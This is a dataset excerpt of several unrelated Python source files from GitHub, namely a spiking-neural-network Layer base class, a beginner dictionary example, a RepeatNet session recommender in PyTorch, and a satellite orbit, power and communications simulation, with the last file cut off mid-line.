ts_input, self.input_type\n        ), \"The layer {} can only receive inputs of class {}\".format(\n            self.name, str(self.input_type)\n        )\n\n        if self.input_type is TSContinuous:\n            return self._prepare_input_continuous(ts_input, duration, num_timesteps)\n\n        elif self.input_type is TSEvent:\n            return self._prepare_input_events(ts_input, duration, num_timesteps)\n\n        else:\n            TypeError(\n                \"Layer._prepare_input can only handle `TSContinuous` and `TSEvent` classes\"\n            )\n\n    def _prepare_input_continuous(\n        self,\n        ts_input: Optional[TSContinuous] = None,\n        duration: Optional[float] = None,\n        num_timesteps: Optional[int] = None,\n    ) -> Tuple[np.ndarray, np.ndarray, int]:\n        \"\"\"\n        Sample input, set up time base\n\n        This function checks an input signal, and prepares a discretised time base according to the time step of the current layer\n\n        :param Optional[TSContinuous] ts_input: :py:class:`.TSContinuous` of TxM or Tx1 Input signals for this layer\n        :param Optional[float] duration:        Duration of the desired evolution, in seconds. If not provided, then either ``num_timesteps`` or the duration of ``ts_input`` will define the evolution time\n        :param Optional[int] num_timesteps:     Integer number of evolution time steps, in units of ``.dt``. If not provided, then ``duration`` or the duration of ``ts_input`` will define the evolution time\n\n        :return (ndarray, ndarray, int): (time_base, input_steps, num_timesteps)\n            time_base:      T1 Discretised time base for evolution\n            input_steps:    (T1xN) Discretised input signal for layer\n            num_timesteps:  Actual number of evolution time steps, in units of ``.dt``\n        \"\"\"\n\n        # - Work out how many time steps to take\n        num_timesteps = self._determine_timesteps(ts_input, duration, num_timesteps)\n\n        # - Generate discrete time base\n        time_base = self._gen_time_trace(self.t, num_timesteps)\n\n        if ts_input is not None:\n            # - Make sure time series is of correct type\n            if not isinstance(ts_input, TSContinuous):\n                raise TypeError(\n                    self.start_print\n                    + \"`ts_input` must be of type `TSContinuous` or `None`.\"\n                )\n\n            # - Make sure time_base matches ts_input\n            t_start_expected = time_base[0]\n            t_stop_expected = time_base[-1]\n            if not ts_input.periodic:\n                # - If time base limits are very slightly beyond ts_input.t_start and ts_input.t_stop, match them\n                if (\n                    ts_input.t_start - 1e-3 * self.dt\n                    <= t_start_expected\n                    <= ts_input.t_start\n                ):\n                    t_start_expected = ts_input.t_start\n                if (\n                    ts_input.t_stop\n                    <= t_stop_expected\n                    <= ts_input.t_stop + 1e-3 * self.dt\n                ):\n                    t_stop_expected = ts_input.t_stop\n\n            # - Warn if evolution period is not fully contained in ts_input\n            if not (ts_input.contains(time_base) or ts_input.periodic):\n                warn(\n                    \"Layer `{}`: Evolution period (t = {} to {}) \".format(\n                        self.name, t_start_expected, t_stop_expected\n                    )\n                    + \"is not fully contained in input signal (t = {} to {}).\".format(\n                        ts_input.t_start, ts_input.t_stop\n                    )\n                    + \" You may need to use a `periodic` time series.\"\n                )\n\n            # - Sample input trace and check for correct dimensions\n            input_steps = self._check_input_dims(ts_input(time_base))\n\n            # - Treat \"NaN\" as zero inputs\n            input_steps[np.where(np.isnan(input_steps))] = 0\n\n        else:\n            # - Assume zero inputs\n            input_steps = np.zeros((num_timesteps, self.size_in))\n\n        return time_base, input_steps, num_timesteps\n\n    def _prepare_input_events(\n        self,\n        ts_input: Optional[TSEvent] = None,\n        duration: Optional[float] = None,\n        num_timesteps: Optional[int] = None,\n    ) -> Tuple[np.ndarray, np.ndarray, int]:\n        \"\"\"\n        Sample input from a :py:class:`TSEvent` time series, set up evolution time base\n\n        This function checks an input signal, and prepares a discretised time base according to the time step of the current layer\n\n        :param Optional[TSEvent] ts_input:  TimeSeries of TxM or Tx1 Input signals for this layer\n        :param Optional[float] duration:    Duration of the desired evolution, in seconds. If not provided, then either ``num_timesteps`` or the duration of ``ts_input`` will determine evolution itme\n        :param Optional[int] num_timesteps: Number of evolution time steps, in units of ``.dt``. If not provided, then either ``duration`` or the duration of ``ts_input`` will determine evolution time\n\n        :return (ndarray, ndarray, int):\n            time_base:      T1X1 vector of time points -- time base for the rasterisation\n            spike_raster:   Boolean or integer raster containing spike information. T1xM array\n            num_timesteps:  Actual number of evolution time steps, in units of ``.dt``\n        \"\"\"\n\n        # - Work out how many time steps to take\n        num_timesteps = self._determine_timesteps(ts_input, duration, num_timesteps)\n\n        # - Generate discrete time base\n        time_base = self._gen_time_trace(self.t, num_timesteps)\n\n        # - Extract spike timings and channels\n        if ts_input is not None:\n            # - Make sure time series is of correct type\n            if not isinstance(ts_input, TSEvent):\n                raise TypeError(\n                    self.start_print + \"`ts_input` must be of type `TSEvent` or `None`.\"\n                )\n\n            # Extract spike data from the input variable\n            spike_raster = ts_input.raster(\n                dt=self.dt,\n                t_start=self.t,\n                num_timesteps=np.size(time_base),\n                channels=np.arange(self.size_in),\n                add_events=(self.add_events if hasattr(self, \"add_events\") else False),\n            )\n\n        else:\n            spike_raster = np.zeros((np.size(time_base), self.size_in))\n\n        # - Check for correct input dimensions\n        spike_raster = self._check_input_dims(spike_raster)\n\n        return time_base, spike_raster, num_timesteps\n\n    def _check_input_dims(self, inp: np.ndarray) -> np.ndarray:\n        \"\"\"\n        Verify if dimensions of an input matches this layer instance\n\n        If input dimension == 1, scale it up to self._size_in by repeating signal.\n\n        :param ndarray inp: ArrayLike containing input data\n\n        :return ndarray: ``inp``, possibly with dimensions repeated\n        \"\"\"\n        # - Replicate input data if necessary\n        if inp.ndim == 1 or (inp.ndim > 1 and inp.shape[1]) == 1:\n            if self.size_in > 1:\n                warn(\n                    f\"Layer `{self.name}`: Only one channel provided in input - will \"\n                    + f\"be copied to all {self.size_in} input channels.\"\n                )\n            inp = np.repeat(inp.reshape((-1, 1)), self._size_in, axis=1)\n        else:\n            # - Check dimensionality of input\n            assert (\n                inp.shape[1] == self._size_in\n            ), \"Layer `{}`: Input dimensionality {} does not match layer input size {}.\".format(\n                self.name, inp.shape[1], self._size_in\n            )\n\n        # - Return possibly corrected input\n        return inp\n\n    def _gen_time_trace(self, t_start: float, num_timesteps: int) -> np.ndarray:\n        \"\"\"\n        Generate a time trace starting at ``t_start``, of length ``num_timesteps + 1`` with time step length :py:attr:`._dt`\n\n        :param float t_start:       Start time, in seconds\n        :param int num_timesteps:   Number of time steps to generate, in units of ``.dt``\n\n        :return (ndarray): Generated time trace\n        \"\"\"\n        # - Generate a trace\n        time_trace = np.arange(num_timesteps) * self.dt + t_start\n\n        return time_trace\n\n    def _expand_to_shape(\n        self, inp, shape: tuple, var_name: str = \"input\", allow_none: bool = True\n    ) -> np.ndarray:\n        \"\"\"\n        Replicate out a scalar to an array of shape ``shape``\n\n        :param Any inp:                     scalar or array-like of input data\n        :param Tuple[int] shape:            tuple defining array shape that input should be expanded to\n        :param Optional[str] var_name:      Name of the variable to include in error messages. Default: \"input\"\n        :param Optional[bool] allow_none:   If ``True``, then ``None`` is permitted as argument for ``inp``. Otherwise an error will be raised. Default: ``True``, allow ``None``\n\n        :return ndarray:                    ``inp``, replicated to the correct shape\n\n        :raises AssertionError:             If ``inp`` is shaped incompatibly to be replicated to the desired shape\n        :raises AssertionError:             If ``inp`` is ``None`` and ``allow_none`` is ``False``\n        \"\"\"\n        if not allow_none:\n            assert inp is not None, \"Layer `{}`: `{}` must not be None\".format(\n                self.name, var_name\n            )\n\n        total_size = reduce(lambda m, n: m * n, shape)\n\n        if np.size(inp) == 1:\n            # - Expand input to full size\n            inp = np.repeat(inp, total_size)\n\n        assert (\n            np.size(inp) == total_size\n        ), \"Layer `{}`: `{}` must be a scalar or have {} elements\".format(\n            self.name, var_name, total_size\n        )\n\n        # - Return object of correct shape\n        return np.reshape(inp, shape)\n\n    def _expand_to_size(\n        self, inp, size: int, var_name: str = \"input\", allow_none: bool = True\n    ) -> np.ndarray:\n        \"\"\"\n        Replicate out a scalar to a desired size\n\n        :param Any inp:                     scalar or array-like\n        :param int size:                    Size that input should be expanded to\n        :param Optional[str] var_name:      Name of the variable to include in error messages. Default: \"input\"\n        :param Optional[bool] allow_none:   If ``True``, allow None as a value for ``inp``. Otherwise and error will be raised. Default: ``True``, allow ``None``\n\n        :return ndarray:                    Array of ``inp``, possibly expanded to the desired size\n\n        :raises AssertionError:             If ``inp`` is incompatibly shaped to expand to the desired size\n        :raises AssertionError:             If ``inp`` is ``None`` and ``allow_none`` is ``False``\n        \"\"\"\n        return self._expand_to_shape(inp, (size,), var_name, allow_none)\n\n    def _expand_to_net_size(\n        self, inp, var_name: str = \"input\", allow_none: bool = True\n    ) -> np.ndarray:\n        \"\"\"\n        Replicate out a scalar to the size of the layer\n\n        :param Any inp:                     scalar or array-like\n        :param Optional[str] var_name:      Name of the variable to include in error messages. Default: \"input\"\n        :param Optionbal[bool] allow_none:  If ``True``, allow ``None`` as a value for ``inp``. Otherwise an error will be raised. Default: ``True``, allow ``None``\n\n        :return ndarray:                    Values of ``inp``, replicated out to the size of the current layer\n\n        :raises AssertionError:             If ``inp`` is incompatibly sized to replicate out to the layer size\n        :raises AssertionError:             If ``inp`` is ``None``, and ``allow_none`` is ``False``\n        \"\"\"\n        return self._expand_to_shape(inp, (self.size,), var_name, allow_none)\n\n    def _expand_to_weight_size(\n        self, inp, var_name: str = \"input\", allow_none: bool = True\n    ) -> np.ndarray:\n        \"\"\"\n        Replicate out a scalar to the size of the layer's weights\n\n        :param Any inp:                     scalar or array-like\n        :param Optional[str] var_name:      Name of the variable to include in error messages. Default: \"input\"\n        :param Optionbal[bool] allow_none:  If ``True``, allow ``None`` as a value for ``inp``. Otherwise an error will be raised. Default: ``True``, allow ``None``\n\n        :return ndarray:                    Values of ``inp``, replicated out to the size of the current layer\n\n        :raises AssertionError:             If ``inp`` is incompatibly sized to replicate out to the layer size\n        :raises AssertionError:             If ``inp`` is ``None``, and ``allow_none`` is ``False``\n        \"\"\"\n        return self._expand_to_shape(inp, (self.size, self.size), var_name, allow_none)\n\n    ### --- String representations\n\n    def __str__(self):\n        return '{} object: \"{}\" [{} {} in -> {} internal -> {} {} out]'.format(\n            self.__class__.__name__,\n            self.name,\n            self.size_in,\n            self.input_type.__name__,\n            self.size,\n            self.size_out,\n            self.output_type.__name__,\n        )\n\n    def __repr__(self):\n        return self.__str__()\n\n    ### --- State evolution methods\n\n    @abstractmethod\n    def evolve(\n        self,\n        ts_input: Optional[TimeSeries] = None,\n        duration: Optional[float] = None,\n        num_timesteps: Optional[int] = None,\n    ) -> TimeSeries:\n        \"\"\"\n        Abstract method to evolve the state of this layer\n\n        This method must be overridden to produce a concrete :py:class:`Layer` subclass. The :py:class:`evolve` method is the main interface for simulating a layer. It must accept an input time series which determines the signals injected into the layer as input, and return an output time series representing the output of the layer.\n\n        :param Optional[TimeSeries] ts_input:   (TxM) External input trace to use when evolving the layer\n        :param Optional[float] duration:        Duration in seconds to evolve the layer. If not provided, then ``num_timesteps`` or the duration of ``ts_input`` is used to determine evolution time\n        :param Optional[int] num_timesteps:     Number of time steps to evolve the layer, in units of ``.dt``. If not provided, then ``duration`` or the duration of ``ts_input`` is used to determine evolution time\n\n        :return TimeSeries:                     (TxN) Output of this layer\n        \"\"\"\n        pass\n\n    # @abstractmethod\n    # def stream(self,\n    #            duration: float,\n    #            dt: float,\n    #            verbose: bool = False,\n    #           ) -> TimeSeries:\n    #     \"\"\"\n    #     stream - Abstract method to evolve the state of this layer, in a streaming format\n    #\n    #     :param duration: float Total duration to be streamed\n    #     :param dt:       float Streaming time-step (multiple of layer.dt)\n    #\n    #     :yield TimeSeries raw tuple representation on each time step\n    #     \"\"\"\n    #     pass\n\n    def reset_time(self):\n        \"\"\"\n        Reset the internal clock of this layer to 0\n        \"\"\"\n        self._timestep = 0\n\n    def randomize_state(self):\n        \"\"\"\n        Randomize the internal state of this layer\n\n        Unless overridden, this method randomizes the layer state based on the current state, using a Normal distribution with std. dev. of 20% of the current state values\n        \"\"\"\n        # create random initial state with a gaussian distribution with mean the values that were given and std the 20% of the absolute value\n        self.state = np.random.normal(\n            self.state, np.abs(self.state) * 0.02, size=(self.size,)\n        )\n\n    def reset_all(self):\n        \"\"\"\n        Reset both the internal clock and the internal state of the layer\n        \"\"\"\n        self.reset_time()\n        self.reset_state()\n\n    @abstractmethod\n    def to_dict(self) -> Dict:\n        \"\"\"\n        Convert parameters of this layer to a dict if they are relevant for reconstructing an identical layer\n\n        The base class :py:class:`.Layer` configures the dictionary, by storing attributes :py:attr:`~.Layer.weights`; :py:attr:`~.Layer.dt`; :py:attr:`~.Layer.noise_std`; :py:attr:`~.Layer.name`; and :py:attr:`~.Layer.class_name`. To enable correct saving / loading of your derived :py:class:`.Layer` subclass, you should first call :py:meth:`self.super().to_dict` and then store all additional arguments to :py:meth:`__init__` required by your class to instantiate an identical object.\n\n        :return Dict:   A dictionary that can be used to reconstruct the layer\n        \"\"\"\n        config = {}\n        if isinstance(self.weights, np.ndarray):\n            config[\"weights\"] = self.weights.tolist()\n        else:\n            config[\"weights\"] = self.weights\n\n        config[\"dt\"] = self.dt\n        config[\"noise_std\"] = self.noise_std\n        config[\"name\"] = self.name\n\n        config[\"class_name\"] = self.class_name\n\n        return config\n\n    def save(self, config: Dict, filename: str):\n        \"\"\"\n        Save a set of parameters to a ``json`` file\n\n        :param Dict config:     Dictionary of attributes to be saved\n        :param str filename:    Path of file where parameters are stored\n        \"\"\"\n        with open(filename, \"w\") as f:\n            json.dump(config, f)\n\n    def save_layer(self, filename: str):\n        \"\"\"\n        Obtain layer paramters from `.to_dict` and save in a ``json`` file\n\n        :param str filename:    Path of file where parameters are to be stored\n        \"\"\"\n        config = self.to_dict()\n        assert isinstance(config, dict), (\n            self.start_print\n            + \"This should not have happened. If you encounter this statement, please \"\n            + f\"the developers of this package. ({self.class_name})\"\n        )\n        self.save(config, filename)\n\n    @classmethod\n    def load_from_file(cls: Any, filename: str, **kwargs) -> \"cls\":\n        \"\"\"\n        Generate an instance of a :py:class:`.Layer` subclass, with parameters loaded from a file\n\n        :param Any cls:         A :py:class:`.Layer` subclass. This class will be used to reconstruct a layer based on the parameters stored in `filename`\n        :param str filename:    Path to the file where parameters are stored\n        :param kwargs:          Any keyword arguments of the class `.__init__` method where the parameter stored in the file should be overridden\n\n        :return `.Layer`: Instance of `.Layer` subclass with parameters loaded from ``filename``\n        \"\"\"\n        # - Load dict from file\n        with open(filename, \"r\") as f:\n            config = json.load(f)\n\n        # - Instantiate new class member from dict\n        return cls.load_from_dict(config, **kwargs)\n\n    @classmethod\n    def load_from_dict(cls: Any, config: Dict, **kwargs) -> \"cls\":\n        \"\"\"\n        Generate instance of a :py:class:`.Layer` subclass with parameters loaded from a dictionary\n\n        :param Any cls:         A :py:class:`.Layer` subclass. This class will be used to reconstruct a layer based on the parameters stored in ``filename``\n        :param Dict config:     Dictionary containing parameters of a :py:class:`.Layer` subclass\n        :param kwargs:          Any keyword arguments of the class :py:meth:`.__init__` method where the parameters from ``config`` should be overridden\n\n        :return `.Layer`:       Instance of `.Layer` subclass with parameters from ``config``\n        \"\"\"\n        # - Overwrite parameters with kwargs\n        config = dict(config, **kwargs)\n\n        # - Remove class name from dict\n        config.pop(\"class_name\")\n        return cls(**config)\n\n    def reset_state(self):\n        \"\"\"\n        Reset the internal state of this layer\n\n        Sets `.state` attribute to all zeros\n        \"\"\"\n        self.state = np.zeros(self.size)\n\n    #### --- Properties\n\n    @property\n    def class_name(self) -> str:\n        \"\"\"\n        (str) Class name of ``self``\n        \"\"\"\n        # - Determine class name by removing \"<class '\" and \"'>\" and the package information\n        return str(self.__class__).split(\"'\")[1].split(\".\")[-1]\n\n    @property\n    def start_print(self):\n        \"\"\"\n        (str) Return a string containing the layer subclass name and the layer `.name` attribute\n        \"\"\"\n        return f\"{self.class_name} '{self.name}': \"\n\n    @property\n    def output_type(self):\n        \"\"\"\n        (Type[TimeSeries]) Output :py:class:`.TimeSeries` subclass emitted by this layer.\n        \"\"\"\n        return TSContinuous\n\n    @property\n    def input_type(self):\n        \"\"\"\n        (Type[TimeSeries]) Input :py:class:`.TimeSeries` subclass accepted by this layer.\n        \"\"\"\n        return TSContinuous\n\n    @property\n    def size(self) -> int:\n        \"\"\"\n        (int) Number of units in this layer (N)\n        \"\"\"\n        return self._size\n\n    @property\n    def size_in(self) -> int:\n        \"\"\"\n        (int) Number of input channels accepted by this layer (M)\n        \"\"\"\n        return self._size_in\n\n    @property\n    def size_out(self) -> int:\n        \"\"\"\n        (int) Number of output channels produced by this layer (O)\n        \"\"\"\n        return self._size_out\n\n    @property\n    def dt(self) -> float:\n        \"\"\"\n        (float) Simulation time step of this layer\n        \"\"\"\n        return self._dt\n\n    @dt.setter\n    def dt(self, fNewDt: float):\n        self._dt = to_scalar(fNewDt)\n\n    @property\n    def weights(self) -> np.ndarray:\n        \"\"\"\n        (ndarray) Weights encapsulated by this layer (MxN)\n        \"\"\"\n        return self._weights\n\n    @weights.setter\n    def weights(self, new_w: np.ndarray):\n        assert new_w is not None, \"Layer `{}`: weights must not be None.\".format(\n            self.name\n        )\n\n        # - Ensure weights are at least 2D\n        try:\n            assert new_w.ndim >= 2\n        except AssertionError:\n            warn(\"Layer `{}`: `new_w must be at least of dimension 2\".format(self.name))\n            new_w = np.atleast_2d(new_w)\n\n        # - Check dimensionality of new weights\n        if new_w.size != self.size_in * self.size:\n            raise ValueError(\n                self.start_print\n                + f\"new_w` must be of shape {(self.size_in, self.size)}\"\n            )\n\n        # - Save weights with appropriate size\n        self._weights = np.reshape(new_w, (self.size_in, self.size))\n\n    @property\n    def state(self):\n        \"\"\"\n        (ndarray) Internal state of this layer (N)\n        \"\"\"\n        return self._state\n\n    @state.setter\n    def state(self, new_state):\n        assert (\n            np.size(new_state) == self.size\n        ), \"Layer `{}`: `new_state` must have {} elements\".format(self.name, self.size)\n\n        self._state = new_state\n\n    @property\n    def noise_std(self):\n        \"\"\"\n        (float) Noise injected into the state of this layer during evolution\n\n        This value represents the standard deviation of a white noise process. When subclassing :py:class:`Layer`, this value should be corrected by the :py:attr:`.dt` attribute\n        \"\"\"\n        return self._noise_std\n\n    @noise_std.setter\n    def noise_std(self, new_noise_std):\n        self._noise_std = to_scalar(new_noise_std)\n\n    @property\n    def t(self):\n        \"\"\"\n        (float) The current evolution time of this layer\n        \"\"\"\n        return self._timestep * self.dt\n\n    @t.setter\n    def t(self, new_t):\n        self._timestep = int(np.floor(new_t / self.dt))\n\n    # - Temporary, for maintaining compatibility with layers that still use _t\n    @property\n    def _t(self):\n        return self._timestep * self.dt\n\n    @_t.setter\n    def _t(self, new_t):\n        self._timestep = int(np.floor(new_t / self.dt))\n","repo_name":"synsense/rockpool","sub_path":"rockpool/nn/layers/layer.py","file_name":"layer.py","file_ext":"py","file_size_in_byte":30138,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"3"}
+{"seq_id":"23043675911","text":"'''\n    dicitionary : which is contain key and value ia a pair\n\n    syntax : \n\n    dictionary_name = {\n        \"key\" : value,\n        \"key2\": value,\n        .\n        .\n    }\n'''\n\n# student dicitionary here.\nstudent={\n    \"name\":\"raj\",\n    \"subject\" : \"python\",\n    \"mark\" : 85,\n}\n\nprint(student)\n\n# proper formated display dicitionary\n\nfor k,v in student.items():\n    print(f\"{k} = {v}\")","repo_name":"RKPatel24/R.K_Patel","sub_path":"Python/Daily Task/Python/dicitionary_example.py","file_name":"dicitionary_example.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16026834962","text":"import torch.nn as nn\nfrom torch.nn.parameter import Parameter\nimport torch\nfrom Common.BilinearAttention import *\n\ndef gru_forward(gru, input, lengths, state=None, batch_first=True):\n    gru.flatten_parameters()\n    input_lengths, perm = torch.sort(lengths, descending=True)\n\n    input = input[perm]\n    if state is not None:\n        state = state[perm].transpose(0, 1).contiguous()\n\n    total_length=input.size(1)\n    if not batch_first:\n        input = input.transpose(0, 1)  # B x L x N -> L x B x N\n    packed = torch.nn.utils.rnn.pack_padded_sequence(input, input_lengths, batch_first)\n\n    outputs, state = gru(packed, state)\n    outputs, output_lengths = torch.nn.utils.rnn.pad_packed_sequence(outputs, batch_first=batch_first, total_length=total_length)  # unpack (back to padded)\n\n    _, perm = torch.sort(perm, descending=False)\n    if not batch_first:\n        outputs = outputs.transpose(0, 1)\n    outputs=outputs[perm]\n    state = state.transpose(0, 1)[perm]\n\n    return outputs, state\n\ndef build_map(b_map, max=None):\n    batch_size, b_len = b_map.size()\n    if max is None:\n        max=b_map.max() + 1\n    if torch.cuda.is_available():\n        b_map_ = torch.cuda.FloatTensor(batch_size, b_len, max).fill_(0)\n    else:\n        b_map_ = torch.zeros(batch_size, b_len, max)\n    b_map_.scatter_(2, b_map.unsqueeze(2), 1.)\n    # b_map_[:, :, 0] = 0.\n    b_map_.requires_grad=False\n    return b_map_\n\nclass RepeatNet(nn.Module):\n    def __init__(self, embedding_size, hidden_size, item_vocab_size):\n        super(RepeatNet, self).__init__()\n\n        self.embedding_size=embedding_size\n        self.hidden_size=hidden_size\n        self.item_vocab_size=item_vocab_size\n\n        self.item_emb = nn.Embedding(item_vocab_size, embedding_size, padding_idx=0)\n\n        self.enc = nn.GRU(embedding_size, int(hidden_size / 2), num_layers=1, bidirectional=True, batch_first=True)\n\n        self.mode_attn = BilinearAttention(hidden_size, hidden_size, hidden_size)\n        self.mode=nn.Linear(hidden_size, 2)\n\n        self.repeat_attn = BilinearAttention(hidden_size, hidden_size, hidden_size)\n        self.explore_attn = BilinearAttention(hidden_size, hidden_size, hidden_size)\n        self.explore = nn.Linear(hidden_size, item_vocab_size)\n\n    def model(self, data):\n        batch_size=data['item_seq'].size(0)\n        mask = data['item_seq'].ne(0)\n        lengths = mask.float().sum(dim=-1).long()\n\n        item_seq_embs = F.dropout(self.item_emb(data['item_seq']), p=0.5, training=self.training)\n\n        output, state = gru_forward(self.enc, item_seq_embs, lengths, batch_first=True)\n        state = F.dropout(state, p=0.5, training=self.training)\n        output = F.dropout(output, p=0.5, training=self.training)\n\n        explore_feature, attn, norm_attn = self.explore_attn(state.reshape(batch_size, -1).unsqueeze(1), output, output, mask=mask.unsqueeze(1))\n        p_explore = self.explore(explore_feature.squeeze(1))\n        explore_mask=torch.bmm((data['item_seq']>0).float().unsqueeze(1), data['source_map']).squeeze(1)\n        p_explore = p_explore.masked_fill(explore_mask.bool(), float('-inf')) # not sure we need to mask this out, depends on experiment results\n        p_explore = F.softmax(p_explore, dim=-1)\n\n        _, p_repeat = self.repeat_attn.score(state.reshape(batch_size, -1).unsqueeze(1), output, mask=mask.unsqueeze(1))\n        p_repeat=torch.bmm(p_repeat, data['source_map']).squeeze(1)\n\n        mode_feature, attn, norm_attn = self.mode_attn(state.reshape(batch_size, -1).unsqueeze(1), output, output, mask=mask.unsqueeze(1))\n        p_mode=F.softmax(self.mode(mode_feature.squeeze(1)), dim=-1)\n\n        p = p_mode[:, 0].unsqueeze(-1)*p_explore + p_mode[:, 1].unsqueeze(-1)*p_repeat\n\n        return p\n\n    def do_train(self, data):\n        scores=self.model(data)\n        loss = F.nll_loss((scores+1e-8).log(), data['item_tgt'].reshape(-1), ignore_index=0)#0 is used as padding\n        return loss\n\n    def do_infer(self, data):\n        scores = self.model(data)\n        scores, index=torch.sort(scores, dim=-1, descending=True)\n        return scores, index\n\n    def forward(self, data, method='mle_train'):\n        data['source_map'] = build_map(data['item_seq'], max=self.item_vocab_size)\n        if method == 'train':\n            return self.do_train(data)\n        elif method == 'infer':\n            return self.do_infer(data)","repo_name":"PengjieRen/RepeatNet-pytorch","sub_path":"RepeatNet/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"3"}
+{"seq_id":"12718336709","text":"from utils import *\nfrom visual import *\nimport numpy as np\n\nclass AxisVis(frame):\n    \"\"\"Visualize a set of 3d axes as colored perpinecular arrows.\"\"\"\n    def __init__(self,arrowlen,shaftwidth='auto',pos=(0,0,0),standard=True):\n        frame.__init__(self)\n        if standard:\n            x=(arrowlen,0,0)\n            y=(0,arrowlen,0)\n            z=(0,0,arrowlen)\n        self.pos = pos\n        if shaftwidth == 'auto':\n            shaftwidth = max(arrowlen/100,2e4)\n        self.arrows={}\n        self.arrows['x'] = arrow(frame=self,axis=x,color=color.green)\n        self.arrows['y'] = arrow(frame=self,axis=y,color=color.red)\n        self.arrows['z'] = arrow(frame=self,axis=z,color=color.blue)\n        for a in self.arrows.values():\n            a.shaftwidth = shaftwidth\n\n\nclass SatVis(AxisVis):\n    \"\"\"This is for visualizing the orientation and field of view of a satellite.probably a temporary class.? \"\"\"\n    def __init__(self,gain,length,arrowlen,shaftwidth='auto',cam_gain=0,pos=(0,0,0),standard=True):\n        AxisVis.__init__(self,arrowlen,shaftwidth,pos,standard)\n        r = np.tan(gain/2) * length\n        a = np.asarray(self.arrows['x'].axis)\n        r_cam = np.tan(cam_gain/2)*length\n        self.ax = a\n        self.length = length\n        self.gain = gain\n        self.cam_gain=cam_gain\n        a/=mag(a)\n        self.fov_cone=cone(frame=self,length=length,radius=r,axis=-a,opacity=0.15, pos=a*length,color=color.orange)\n        self.camera_pyramid = pyramid(frame=self,axis=-a,size=(length,r_cam,1e5),pos=a*length,color=color.blue,opacity=0.3)\n        self.mainbox = box(frame=self,pos=(0,0,0),size=(1e5,1e5,1e5))\n\n    def set_gain(self,gain):\n        self.gain = gain\n        r = np.tan(gain / 2) * self.length\n        self.fov_cone.radius = r\n\n    def set_cam_gain(self,gain):\n        self.cam_gain = gain\n        r = np.tan(gain / 2) * self.length\n        csize = self.camera_pyramid.size\n        csize[1] = r\n        self.camera_pyramid.size = csize\n\n    def set_length(self,new_length):\n        \"\"\"Set the length of the displayed cone/pyramids \"\"\"\n        self.length = new_length\n        self.camera_pyramid.pos = self.ax*self.length\n        self.fov_cone.length = new_length\n        self.camera_pyramid.length=new_length\n        self.fov_cone.pos = self.ax*self.length\n        self.set_gain(self.gain)\n        self.set_cam_gain(self.cam_gain)\n\nclass Satellite(object):\n    \"\"\"Satellite utility class\"\"\"\n    def __init__(self,orbit,earth,capacity=35400.0,orientation=(1,0,0),timestep=1,\n                mass=8,dim=(0.1,0.2,0.3),antenna_gain=0):\n        self.orbit = orbit\n        self.earth = earth\n        self.t = 0\n        self.current_orient = orientation\n        self.current_coord = self.orbit.r0\n        self.spanel_offset = np.asarray((-1,0,1))\n        self.efficiency = 0.21\n        self.area = 0.3 * 0.1 #area of solar panel in square metres\n        self.timestep = timestep\n        self.antenna_gain = antenna_gain\n        self.cam_gain = 0\n        self.currently_collecting = True\n        self.currently_transmitting = {}#dict to store all locations tras\n        self.capacity = capacity\n        self.current_battery = capacity\n        self.mass = mass #satellite mass in kg\n        self.dim = np.asarray(dim)#dimensions of cuboid satellite in metres\n\n\n    def energy_recieved(self):\n        \"\"\"Gives the energy recieved at time t with orbit orbit. Think this should work?\"\"\"\n        radiance = self.orbit.radiance_at_coord(self.current_coord,self.t)\n        sundir=self.orbit.sun_coords_at(self.t)\n        sat_to_sun = sundir - self.current_coord\n        solar_orient = self.current_orient + self.spanel_offset\n        p = np.dot(sundir,solar_orient)/(mag(sundir)*mag(solar_orient))\n        #p = np.cos(angle_between(sundir,solar_orient))\n        #p=1\n        p=abs(p)\n        p*= radiance\n        #print(\"dot product:{}\".format(p))\n        p *= self.efficiency\n        p *= self.area\n        #print(\"final power:\"+str(p))\n        e = p * self.timestep\n        return e\n\n    def energy_used(self):\n        p = 1 #1 watt intermittent power use\n        if self.currently_transmitting != {}:\n            p += 5\n        if self.currently_collecting:\n            p += 3\n        e = p * self.timestep\n        return e\n\n    def power_balance(self):\n        self.e_in = self.energy_recieved()\n\n        self.e_out = self.energy_used()\n        #print(\"e_in: {}, e_out: {}\".format(self.e_in,self.e_out))\n        self.current_battery += (self.e_in - self.e_out)\n        #print(self.current_battery)\n        if self.current_battery > self.capacity:\n            self.current_battery = self.capacity\n        if self.current_battery <= 0:\n            pass\n\n    def communication_possible(self,coord):\n        \"\"\"Determines if the satellite can make contact with a given coord\"\"\"\n\n        sat_to_coord = np.asarray(coord) - self.current_coord#vector from satellite to coord\n        if angle_between(self.current_orient, sat_to_coord) <= self.antenna_gain/2:\n            if not passes_through_earth(self.current_coord,coord):\n                return True\n        return False\n\n    def simulate_comms(self):\n        \"\"\"simulate_comms \"\"\"\n        self.currently_transmitting = {}\n        for place in self.earth.labels.keys():\n            place_coord = self.earth.frame.frame_to_world(self.earth.labels[place].pos)\n            if self.communication_possible(place_coord):\n                self.currently_transmitting[place] = place_coord\n\n    def perform_timestep(self):\n        \"\"\"do one timestep and update the satellite's state. \"\"\"\n        self.current_coord = np.asarray(self.orbit.t_to_xyz(self.t))\n        self.simulate_comms()\n        #TEMPORARY - REPLACE WITH POLICY SETTER SOON.\n        #(this just always points to earth's center)\n        self.current_orient = np.asarray(self.current_coord) * -1\n        self.power_balance()\n        self.t += self.timestep\n\n\n\n\n\nclass SatelliteVis(Satellite):\n    def __init__(self,orbit,earth,capacity=35400,orientation=(1,0,0),timestep=1,\n                mass=8,dim=(0.1,0.2,0.3),antenna_gain=0):\n        Satellite.__init__(self,orbit,earth,capacity,orientation,timestep,mass,dim,antenna_gain)\n        self.vis = SatVis(length=orbit.a,gain=self.antenna_gain,pos=self.orbit.r0,arrowlen=5e5)\n        self.comm_lines = {}\n        self.display_string = \"Ready for use\"\n        self.hud = label(pos=(0,0,0),xoffset=-310,yoffset=100,text=self.display_string,line=False)\n        self.e_in=0\n        self.e_out=0\n\n    def perform_timestep(self):\n        super(SatelliteVis,self).perform_timestep()\n        #self.vis.pos = self.current_coord\n        self.vis.axis = self.current_orient\n        self.set_pos(self.current_coord)\n        #delete any lines from other timesteps\n        #draw line from satellite to any points making communication\n        for line in self.comm_lines.values():\n            line.visible=False\n\n        for place in self.currently_transmitting.keys():\n            place_coord 